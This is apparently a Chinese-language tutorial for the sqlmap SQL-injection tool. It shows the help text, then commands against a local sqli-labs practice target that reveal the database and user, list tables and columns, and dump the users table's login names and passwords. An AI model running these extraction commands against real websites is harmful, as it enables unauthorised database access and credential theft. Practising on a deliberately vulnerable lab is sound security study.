```
python sqlmap.py -h
```

获取帮助

```
  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
    --technique=TECH    SQL injection techniques to use (default ″BEUSTQ″)

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
```

爆破数据库名

```
python sqlmap.py -u ″http://192.168.1.55:8000/sqli/Less-1/index.php?id=1″ --current-db
current database: 'security’
```

爆破用户

```
python sqlmap.py -u ″http://192.168.1.55:8000/sqli/Less-1/index.php?id=1″ --current-user
current user: 'root@%’
```

爆破数据库 security ，获得表名

```
python sqlmap.py -u "http://192.168.1.55:8000/sqli/Less-1/index.php?id=1" -D security --tables

Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+
```

爆破数据库 security 的users表获得 列名

```
python sqlmap.py -u "http://192.168.1.55:8000/sqli/Less-1/index.php?id=1" -D security -T users --columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
```

下载数据库 security 的users表数据信息

```
python sqlmap.py -u "http://192.168.1.55:8000/sqli/Less-1/index.php?id=1" -D security -T users -C username,password --dump
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| admin4   | admin4     |
| secure    | crappy     |
| Dumb     | Dumb       |
| dhakkan  | dumbo      |
| superman | genious    |
| Angelina | I-kill-you |
| batman   | mob!le     |
| Dummy    | p@ssword   |
| stupid   | stupidity  |
+----------+------------+
```